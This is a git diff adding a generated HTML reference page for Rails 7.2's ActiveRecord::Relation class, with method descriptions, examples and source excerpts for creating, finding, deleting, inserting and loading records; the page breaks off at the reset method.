diff --git a/src/7.2/classes/ActiveRecord/Relation.html b/src/7.2/classes/ActiveRecord/Relation.html new file mode 100644 index 0000000000..95bb5815d3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Relation.html @@ -0,0 +1,3070 @@ +--- +title: ActiveRecord::Relation +layout: default +--- +
+ +
+
+ +
+ +

Active Record Relation

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CLAUSE_METHODS=[:where, :having, :from]
INVALID_METHODS_FOR_DELETE_ALL=[:distinct, :with, :with_recursive]
MULTI_VALUE_METHODS=[:includes, :eager_load, :preload, :select, :group, +:order, :joins, :left_outer_joins, :references, +:extending, :unscope, :optimizer_hints, :annotate, +:with]
SINGLE_VALUE_METHODS=[:limit, :offset, :lock, :readonly, :reordering, :strict_loading, +:reverse_order, :distinct, :create_with, :skip_query_cache]
VALUE_METHODS=MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS + CLAUSE_METHODS
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + klass
+ [R] + loaded
+ [R] + loaded?
+ [R] + model
+ [R] + predicate_builder
+ [RW] + skip_preloading_value
+ [R] + table
+ + + + +

Class Public methods

+ +
+

+ + new(klass, table: klass.arel_table, predicate_builder: klass.predicate_builder, values: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 77
+    def initialize(klass, table: klass.arel_table, predicate_builder: klass.predicate_builder, values: {})
+      @klass  = klass
+      @table  = table
+      @values = values
+      @loaded = false
+      @predicate_builder = predicate_builder
+      @delegate_to_klass = false
+      @future_result = nil
+      @records = nil
+      @async = false
+      @none = false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other) + +

+ + +
+

Compares two relations for equality.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1239
+    def ==(other)
+      case other
+      when Associations::CollectionProxy, AssociationRelation
+        self == other.records
+      when Relation
+        other.to_sql == to_sql
+      when Array
+        records == other
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + any?(*args) + +

+ + +
+

Returns true if there are any records.

+ +

When a pattern argument is given, this method checks whether elements in the Enumerable match the pattern via the case-equality operator (===).

+ +
posts.any?(Post) # => true or false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 384
+    def any?(*args)
+      return false if @none
+
+      return super if args.present? || block_given?
+      !empty?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blank?() + +

+ + +
+

Returns true if relation is blank.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1260
+    def blank?
+      records.blank?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build(attributes = nil, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: new +
+ + + + +
+ +
+

+ + cache_key(timestamp_column = "updated_at") + +

+ + +
+

Returns a stable cache key that can be used to identify this query. The cache key is built with a fingerprint of the SQL query.

+ +
Product.where("name like ?", "%Cosmic Encounter%").cache_key
+# => "products/query-1850ab3d302391b85b8693e941286659"
+
+ +

If ActiveRecord::Base.collection_cache_versioning is turned off, as it was in Rails 6.0 and earlier, the cache key will also include a version.

+ +
ActiveRecord::Base.collection_cache_versioning = false
+Product.where("name like ?", "%Cosmic Encounter%").cache_key
+# => "products/query-1850ab3d302391b85b8693e941286659-1-20150714212553907087000"
+
+ +

You can also pass a custom timestamp column to fetch the timestamp of the last updated record.

+ +
Product.where("name like ?", "%Game%").cache_key(:last_reviewed_at)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 431
+    def cache_key(timestamp_column = "updated_at")
+      @cache_keys ||= {}
+      @cache_keys[timestamp_column] ||= klass.collection_cache_key(self, timestamp_column)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_key_with_version() + +

+ + +
+

Returns a cache key along with the version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 512
+    def cache_key_with_version
+      if version = cache_version
+        "#{cache_key}-#{version}"
+      else
+        cache_key
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_version(timestamp_column = :updated_at) + +

+ + +
+

Returns a cache version that can be used together with the cache key to form a recyclable caching scheme. The cache version is built with the number of records matching the query, and the timestamp of the last updated record. When a new record comes to match the query, or any of the existing records is updated or deleted, the cache version changes.

+ +

If the collection is loaded, the method will iterate through the records to generate the timestamp, otherwise it will trigger one SQL query like:

+ +
SELECT COUNT(*), MAX("products"."updated_at") FROM "products" WHERE (name like '%Cosmic Encounter%')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 458
+    def cache_version(timestamp_column = :updated_at)
+      if collection_cache_versioning
+        @cache_versions ||= {}
+        @cache_versions[timestamp_column] ||= compute_cache_version(timestamp_column)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create(attributes = nil, &block) + +

+ + +
+

Tries to create a new record with the same scoped attributes defined in the relation. Returns the initialized object if validation fails.

+ +

Expects arguments in the same format as ActiveRecord::Base.create.

+ +

Examples

+ +
users = User.where(name: 'Oscar')
+users.create # => #<User id: 3, name: "Oscar", ...>
+
+users.create(name: 'fxn')
+users.create # => #<User id: 4, name: "fxn", ...>
+
+users.create { |user| user.name = 'tenderlove' }
+# => #<User id: 5, name: "tenderlove", ...>
+
+users.create(name: nil) # validation on name
+# => #<User id: nil, name: nil, ...>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 147
+    def create(attributes = nil, &block)
+      if attributes.is_a?(Array)
+        attributes.collect { |attr| create(attr, &block) }
+      else
+        block = current_scope_restoring_block(&block)
+        scoping { _create(attributes, &block) }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create!(attributes = nil, &block) + +

+ + +
+

Similar to create, but calls create! on the base class. Raises an exception if a validation error occurs.

+ +

Expects arguments in the same format as ActiveRecord::Base.create!.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 162
+    def create!(attributes = nil, &block)
+      if attributes.is_a?(Array)
+        attributes.collect { |attr| create!(attr, &block) }
+      else
+        block = current_scope_restoring_block(&block)
+        scoping { _create!(attributes, &block) }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_or_find_by(attributes, &block) + +

+ + +
+

Attempts to create a record with the given attributes in a table that has a unique database constraint on one or several of its columns. If a row already exists with one or several of these unique constraints, the exception such an insertion would normally raise is caught, and the existing record with those attributes is found using find_by!.

+ +

This is similar to find_or_create_by, but tries to create the record first. As such it is better suited for cases where the record is most likely not to exist yet.

+ +

There are several drawbacks to create_or_find_by, though:

+
  • +

    The underlying table must have the relevant columns defined with unique database constraints.

    +
  • +

    A unique constraint violation may be triggered by only one, or at least less than all, of the given attributes. This means that the subsequent find_by! may fail to find a matching record, which will then raise an ActiveRecord::RecordNotFound exception, rather than a record with the given attributes.

    +
  • +

    While we avoid the race condition between SELECT -> INSERT from find_or_create_by, we actually have another race condition between INSERT -> SELECT, which can be triggered if a DELETE between those two statements is run by another client. But for most applications, that’s a significantly less likely condition to hit.

    +
  • +

    It relies on exception handling to handle control flow, which may be marginally slower.

    +
  • +

    The primary key may auto-increment on each create, even if it fails. This can accelerate the problem of running out of integers, if the underlying table is still stuck on a primary key of type int (note: All Rails apps since 5.1+ have defaulted to bigint, which is not liable to this problem).

    +
  • +

    Columns with unique database constraints should not have uniqueness validations defined, otherwise create will fail due to validation errors and find_by will never be called.

    +
+ +

This method will return a record if all given attributes are covered by unique constraints (unless the INSERT -> DELETE -> SELECT race condition is triggered), but if creation was attempted and failed due to validation errors it won’t be persisted, you get what create returns in such situation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 266
+    def create_or_find_by(attributes, &block)
+      with_connection do |connection|
+        transaction(requires_new: true) { create(attributes, &block) }
+      rescue ActiveRecord::RecordNotUnique
+        if connection.transaction_open?
+          where(attributes).lock.find_by!(attributes)
+        else
+          find_by!(attributes)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_or_find_by!(attributes, &block) + +

+ + +
+

Like create_or_find_by, but calls create! so an exception is raised if the created record is invalid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 281
+    def create_or_find_by!(attributes, &block)
+      with_connection do |connection|
+        transaction(requires_new: true) { create!(attributes, &block) }
+      rescue ActiveRecord::RecordNotUnique
+        if connection.transaction_open?
+          where(attributes).lock.find_by!(attributes)
+        else
+          find_by!(attributes)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(id_or_array) + +

+ + +
+

Deletes the row with a primary key matching the id argument, using an SQL DELETE statement, and returns the number of rows deleted. Active Record objects are not instantiated, so the object’s callbacks are not executed, including any :dependent association options.

+ +

You can delete multiple rows at once by passing an Array of ids.

+ +

Note: Although it is often much faster than the alternative, destroy, skipping callbacks might bypass business logic in your application that ensures referential integrity or performs other essential jobs.

+ +

Examples

+ +
# Delete a single row
+Todo.delete(1)
+
+# Delete multiple rows
+Todo.delete([2,3,4])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1050
+    def delete(id_or_array)
+      return 0 if id_or_array.nil? || (id_or_array.is_a?(Array) && id_or_array.empty?)
+
+      where(model.primary_key => id_or_array).delete_all
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_all() + +

+ + +
+

Deletes the records without instantiating the records first, and hence not calling the #destroy method nor invoking callbacks. This is a single SQL DELETE statement that goes straight to the database, much more efficient than destroy_all. Be careful with relations though, in particular :dependent rules defined on associations are not honored. Returns the number of rows affected.

+ +
Post.where(person_id: 5).where(category: ['Something', 'Else']).delete_all
+
+ +

Both calls delete the affected posts all at once with a single DELETE statement. If you need to destroy dependent associations or call your before_* or after_destroy callbacks, use the destroy_all method instead.

+ +

If an invalid method is supplied, delete_all raises an ActiveRecordError:

+ +
Post.distinct.delete_all
+# => ActiveRecord::ActiveRecordError: delete_all doesn't support distinct
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1004
+    def delete_all
+      return 0 if @none
+
+      invalid_methods = INVALID_METHODS_FOR_DELETE_ALL.select do |method|
+        value = @values[method]
+        method == :distinct ? value : value&.any?
+      end
+      if invalid_methods.any?
+        raise ActiveRecordError.new("delete_all doesn't support #{invalid_methods.join(', ')}")
+      end
+
+      klass.with_connection do |c|
+        arel = eager_loading? ? apply_join_dependency.arel : build_arel(c)
+        arel.source.left = table
+
+        group_values_arel_columns = arel_columns(group_values.uniq)
+        having_clause_ast = having_clause.ast unless having_clause.empty?
+        key = if klass.composite_primary_key?
+          primary_key.map { |pk| table[pk] }
+        else
+          table[primary_key]
+        end
+        stmt = arel.compile_delete(key, having_clause_ast, group_values_arel_columns)
+
+        c.delete(stmt, "#{klass} Delete All").tap { reset }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_by(*args) + +

+ + +
+

Finds and deletes all records matching the specified conditions. This is short-hand for relation.where(condition).delete_all. Returns the number of rows affected.

+ +

If no record is found, returns 0 as zero rows were affected.

+ +
Person.delete_by(id: 13)
+Person.delete_by(name: 'Spartacus', rating: 4)
+Person.delete_by("published_at < ?", 2.weeks.ago)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1112
+    def delete_by(*args)
+      where(*args).delete_all
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy(id) + +

+ + +
+

Destroy an object (or multiple objects) that has the given id. The object is instantiated first, therefore all callbacks and filters are fired off before the object is deleted. This method is less efficient than delete but allows cleanup methods and other actions to be run.

+ +

This essentially finds the object (or multiple objects) with the given id, creates a new object from the attributes, and then calls destroy on it.

+ +

Parameters

+
  • +

    id - This should be the id or an array of ids to be destroyed.

    +
+ +

Examples

+ +
# Destroy a single object
+Todo.destroy(1)
+
+# Destroy multiple objects
+todos = [1,2,3]
+Todo.destroy(todos)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1076
+    def destroy(id)
+      multiple_ids = if model.composite_primary_key?
+        id.first.is_a?(Array)
+      else
+        id.is_a?(Array)
+      end
+
+      if multiple_ids
+        find(id).each(&:destroy)
+      else
+        find(id).destroy
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy_all() + +

+ + +
+

Destroys the records by instantiating each record and calling its #destroy method. Each object’s callbacks are executed (including :dependent association options). Returns the collection of objects that were destroyed; each will be frozen, to reflect that no changes should be made (since they can’t be persisted).

+ +

Note: Instantiation, callback execution, and deletion of each record can be time consuming when you’re removing many records at once. It generates at least one SQL DELETE query per record (or possibly more, to enforce your callbacks). If you want to delete many rows quickly, without concern for their associations or callbacks, use delete_all instead.

+ +

Examples

+ +
Person.where(age: 0..18).destroy_all
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 982
+    def destroy_all
+      records.each(&:destroy).tap { reset }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy_by(*args) + +

+ + +
+

Finds and destroys all records matching the specified conditions. This is short-hand for relation.where(condition).destroy_all. Returns the collection of objects that were destroyed.

+ +

If no record is found, returns empty array.

+ +
Person.destroy_by(id: 13)
+Person.destroy_by(name: 'Spartacus', rating: 4)
+Person.destroy_by("published_at < ?", 2.weeks.ago)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1099
+    def destroy_by(*args)
+      where(*args).destroy_all
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_loading?() + +

+ + +
+

Returns true if relation needs eager loading.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1224
+    def eager_loading?
+      @should_eager_load ||=
+        eager_load_values.any? ||
+        includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + empty?() + +

+ + +
+

Returns true if there are no records.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 355
+    def empty?
+      return true if @none
+
+      if loaded?
+        records.empty?
+      else
+        !exists?
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_with(coder) + +

+ + +
+

Serializes the relation objects Array.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 341
+    def encode_with(coder)
+      coder.represent_seq(nil, records)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + explain(*options) + +

+ + +
+

Runs EXPLAIN on the query or queries triggered by this relation and returns the result as a string. The string is formatted imitating the ones printed by the database shell.

+ +
User.all.explain
+# EXPLAIN SELECT `users`.* FROM `users`
+# ...
+
+ +

Note that this method actually runs the queries, since the results of some are needed by the next ones when eager loading is going on.

+ +

To run EXPLAIN on queries created by first, pluck and count, call these methods on explain:

+ +
User.all.explain.count
+# EXPLAIN SELECT COUNT(*) FROM `users`
+# ...
+
+ +

The column name can be passed if required:

+ +
User.all.explain.maximum(:id)
+# EXPLAIN SELECT MAX(`users`.`id`) FROM `users`
+# ...
+
+ +

Please see further details in the Active Record Query Interface guide.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 325
+    def explain(*options)
+      ExplainProxy.new(self, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_or_create_by(attributes, &block) + +

+ + +
+

Finds the first record with the given attributes, or creates a record with the attributes if one is not found:

+ +
# Find the first user named "PenΓ©lope" or create a new one.
+User.find_or_create_by(first_name: 'PenΓ©lope')
+# => #<User id: 1, first_name: "PenΓ©lope", last_name: nil>
+
+# Find the first user named "PenΓ©lope" or create a new one.
+# We already have one so the existing record will be returned.
+User.find_or_create_by(first_name: 'PenΓ©lope')
+# => #<User id: 1, first_name: "PenΓ©lope", last_name: nil>
+
+# Find the first user named "Scarlett" or create a new one with
+# a particular last name.
+User.create_with(last_name: 'Johansson').find_or_create_by(first_name: 'Scarlett')
+# => #<User id: 2, first_name: "Scarlett", last_name: "Johansson">
+
+ +

This method accepts a block, which is passed down to create. The last example above can be alternatively written this way:

+ +
# Find the first user named "Scarlett" or create a new one with a
+# particular last name.
+User.find_or_create_by(first_name: 'Scarlett') do |user|
+  user.last_name = 'Johansson'
+end
+# => #<User id: 2, first_name: "Scarlett", last_name: "Johansson">
+
+ +

This method always returns a record, but if creation was attempted and failed due to validation errors it won’t be persisted, you get what create returns in such situation.

+ +

If creation failed because of a unique constraint, this method will assume it encountered a race condition and will try finding the record once more. If somehow the second find still does not find a record because a concurrent DELETE happened, it will then raise an ActiveRecord::RecordNotFound exception.

+ +

Please note this method is not atomic, it runs first a SELECT, and if there are no results an INSERT is attempted. So if the table doesn’t have a relevant unique constraint it could be the case that you end up with two or more similar records.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 224
+    def find_or_create_by(attributes, &block)
+      find_by(attributes) || create_or_find_by(attributes, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_or_create_by!(attributes, &block) + +

+ + +
+

Like find_or_create_by, but calls create! so an exception is raised if the created record is invalid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 231
+    def find_or_create_by!(attributes, &block)
+      find_by(attributes) || create_or_find_by!(attributes, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_or_initialize_by(attributes, &block) + +

+ + +
+

Like find_or_create_by, but calls new instead of create.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 295
+    def find_or_initialize_by(attributes, &block)
+      find_by(attributes) || new(attributes, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 90
+    def initialize_copy(other)
+      @values = @values.dup
+      reset
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert(attributes, returning: nil, unique_by: nil, record_timestamps: nil) + +

+ + +
+

Inserts a single record into the database in a single SQL INSERT statement. It does not instantiate any models nor does it trigger Active Record callbacks or validations. Though passed values go through Active Record’s type casting and serialization.

+ +

See insert_all for documentation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 637
+    def insert(attributes, returning: nil, unique_by: nil, record_timestamps: nil)
+      insert_all([ attributes ], returning: returning, unique_by: unique_by, record_timestamps: record_timestamps)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert!(attributes, returning: nil, record_timestamps: nil) + +

+ + +
+

Inserts a single record into the database in a single SQL INSERT statement. It does not instantiate any models nor does it trigger Active Record callbacks or validations. Though passed values go through Active Record’s type casting and serialization.

+ +

See insert_all! for more.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 726
+    def insert!(attributes, returning: nil, record_timestamps: nil)
+      insert_all!([ attributes ], returning: returning, record_timestamps: record_timestamps)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_all(attributes, returning: nil, unique_by: nil, record_timestamps: nil) + +

+ + +
+

Inserts multiple records into the database in a single SQL INSERT statement. It does not instantiate any models nor does it trigger Active Record callbacks or validations. Though passed values go through Active Record’s type casting and serialization.

+ +

The attributes parameter is an Array of Hashes. Every Hash determines the attributes for a single row and must have the same keys.

+ +

Rows are considered to be unique by every unique index on the table. Any duplicate rows are skipped. Override with :unique_by (see below).

+ +

Returns an ActiveRecord::Result with its contents based on :returning (see below).

+ +

Options

+
:returning +
+

(PostgreSQL, SQLite3, and MariaDB only) An array of attributes to return for all successfully inserted records, which by default is the primary key. Pass returning: %w[ id name ] for both id and name or returning: false to omit the underlying RETURNING SQL clause entirely.

+ +

You can also pass an SQL string if you need more control on the return values (for example, returning: Arel.sql("id, name as new_name")).

+
:unique_by +
+

(PostgreSQL and SQLite only) By default rows are considered to be unique by every unique index on the table. Any duplicate rows are skipped.

+ +

To skip rows according to just one unique index pass :unique_by.

+ +

Consider a Book model where no duplicate ISBNs make sense, but if any row has an existing id, or is not unique by another unique index, ActiveRecord::RecordNotUnique is raised.

+ +

Unique indexes can be identified by columns or name:

+ +
unique_by: :isbn
+unique_by: %i[ author_id name ]
+unique_by: :index_books_on_isbn
+
+
:record_timestamps +
+

By default, automatic setting of timestamp columns is controlled by the model’s record_timestamps config, matching typical behavior.

+ +

To override this and force automatic setting of timestamp columns one way or the other, pass :record_timestamps:

+ +
record_timestamps: true  # Always set timestamps automatically
+record_timestamps: false # Never set timestamps automatically
+
+
+ +

Because it relies on the index information from the database :unique_by is recommended to be paired with Active Record’s schema_cache.

+ +

Example

+ +
# Insert records and skip inserting any duplicates.
+# Here "Eloquent Ruby" is skipped because its id is not unique.
+
+Book.insert_all([
+  { id: 1, title: "Rework", author: "David" },
+  { id: 1, title: "Eloquent Ruby", author: "Russ" }
+])
+
+# insert_all works on chained scopes, and you can use create_with
+# to set default attributes for all inserted records.
+
+author.books.create_with(created_at: Time.now).insert_all([
+  { id: 1, title: "Rework" },
+  { id: 2, title: "Eloquent Ruby" }
+])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 716
+    def insert_all(attributes, returning: nil, unique_by: nil, record_timestamps: nil)
+      InsertAll.execute(self, attributes, on_duplicate: :skip, returning: returning, unique_by: unique_by, record_timestamps: record_timestamps)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_all!(attributes, returning: nil, record_timestamps: nil) + +

+ + +
+

Inserts multiple records into the database in a single SQL INSERT statement. It does not instantiate any models nor does it trigger Active Record callbacks or validations. Though passed values go through Active Record’s type casting and serialization.

+ +

The attributes parameter is an Array of Hashes. Every Hash determines the attributes for a single row and must have the same keys.

+ +

Raises ActiveRecord::RecordNotUnique if any rows violate a unique index on the table. In that case, no rows are inserted.

+ +

To skip duplicate rows, see insert_all. To replace them, see upsert_all.

+ +

Returns an ActiveRecord::Result with its contents based on :returning (see below).

+ +

Options

+
:returning +
+

(PostgreSQL, SQLite3, and MariaDB only) An array of attributes to return for all successfully inserted records, which by default is the primary key. Pass returning: %w[ id name ] for both id and name or returning: false to omit the underlying RETURNING SQL clause entirely.

+ +

You can also pass an SQL string if you need more control on the return values (for example, returning: Arel.sql("id, name as new_name")).

+
:record_timestamps +
+

By default, automatic setting of timestamp columns is controlled by the model’s record_timestamps config, matching typical behavior.

+ +

To override this and force automatic setting of timestamp columns one way or the other, pass :record_timestamps:

+ +
record_timestamps: true  # Always set timestamps automatically
+record_timestamps: false # Never set timestamps automatically
+
+
+ +

Examples

+ +
# Insert multiple records
+Book.insert_all!([
+  { title: "Rework", author: "David" },
+  { title: "Eloquent Ruby", author: "Russ" }
+])
+
+# Raises ActiveRecord::RecordNotUnique because "Eloquent Ruby"
+# does not have a unique id.
+Book.insert_all!([
+  { id: 1, title: "Rework", author: "David" },
+  { id: 1, title: "Eloquent Ruby", author: "Russ" }
+])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 783
+    def insert_all!(attributes, returning: nil, record_timestamps: nil)
+      InsertAll.execute(self, attributes, on_duplicate: :raise, returning: returning, record_timestamps: record_timestamps)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1272
+    def inspect
+      subject = loaded? ? records : annotate("loading for inspect")
+      entries = subject.take([limit_value, 11].compact.min).map!(&:inspect)
+
+      entries[10] = "..." if entries.size == 11
+
+      "#<#{self.class.name} [#{entries.join(', ')}]>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + joined_includes_values() + +

+ + +
+

Joins that are also marked for preloading. In which case we should just eager load them. Note that this is a naive implementation because we could have strings and symbols which represent the same association, but that aren’t matched by this. Also, we could have nested hashes which partially match, e.g. { a: :b } & { a: [:b, :c] }

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1234
+    def joined_includes_values
+      includes_values & joins_values
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load(&block) + +

+ + +
+

Causes the records to be loaded from the database if they have not been loaded already. You can use this if for some reason you need to explicitly load some records before actually using them. The return value is the relation itself, not the records.

+ +
Post.where(published: true).load # => #<ActiveRecord::Relation>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1165
+    def load(&block)
+      if !loaded? || scheduled?
+        @records = exec_queries(&block)
+        @loaded = true
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_async() + +

+ + +
+

Schedule the query to be performed from a background thread pool.

+ +
Post.where(published: true).load_async # => #<ActiveRecord::Relation>
+
+ +

When the Relation is iterated, if the background query wasn’t executed yet, it will be performed by the foreground thread.

+ +

Note that config.active_record.async_query_executor must be configured for queries to actually be executed concurrently. Otherwise it defaults to executing them in the foreground.

+ +

load_async will also fall back to executing in the foreground in the test environment when transactional fixtures are enabled.

+ +

If the query was actually executed in the background, the Active Record logs will show it by prefixing the log line with ASYNC:

+ +
ASYNC Post Load (0.0ms) (db time 2ms)  SELECT "posts".* FROM "posts" LIMIT 100
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1134
+    def load_async
+      with_connection do |c|
+        return load if !c.async_enabled?
+
+        unless loaded?
+          result = exec_main_query(async: c.current_transaction.closed?)
+
+          if result.is_a?(Array)
+            @records = result
+          else
+            @future_result = result
+          end
+          @loaded = true
+        end
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + many?() + +

+ + +
+

Returns true if there is more than one record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 406
+    def many?
+      return false if @none
+
+      return super if block_given?
+      return records.many? if loaded?
+      limited_count > 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(attributes = nil, &block) + +

+ + +
+

Initializes new record from relation while maintaining the current scope.

+ +

Expects arguments in the same format as ActiveRecord::Base.new.

+ +
users = User.where(name: 'DHH')
+user = users.new # => #<User id: nil, name: "DHH", created_at: nil, updated_at: nil>
+
+ +

You can also pass a block to new with the new record as argument:

+ +
user = users.new { |user| user.name = 'Oscar' }
+user.name # => Oscar
+
+
+ + + +
+ Also aliased as: build +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 118
+    def new(attributes = nil, &block)
+      if attributes.is_a?(Array)
+        attributes.collect { |attr| new(attr, &block) }
+      else
+        block = current_scope_restoring_block(&block)
+        scoping { _new(attributes, &block) }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + none?(*args) + +

+ + +
+

Returns true if there are no records.

+ +

When a pattern argument is given, this method checks whether elements in the Enumerable match the pattern via the case-equality operator (===).

+ +
posts.none?(Comment) # => true or false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 371
+    def none?(*args)
+      return true if @none
+
+      return super if args.present? || block_given?
+      empty?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + one?(*args) + +

+ + +
+

Returns true if there is exactly one record.

+ +

When a pattern argument is given, this method checks whether elements in the Enumerable match the pattern via the case-equality operator (===).

+ +
posts.one?(Post) # => true or false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 397
+    def one?(*args)
+      return false if @none
+
+      return super if args.present? || block_given?
+      return records.one? if loaded?
+      limited_count == 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pretty_print(pp) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1250
+    def pretty_print(pp)
+      subject = loaded? ? records : annotate("loading for pp")
+      entries = subject.take([limit_value, 11].compact.min)
+
+      entries[10] = "..." if entries.size == 11
+
+      pp.pp(entries)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload() + +

+ + +
+

Forces reloading of relation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1175
+    def reload
+      reset
+      load
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset() + +

+ + +
+ +
+ + + + + + + + +
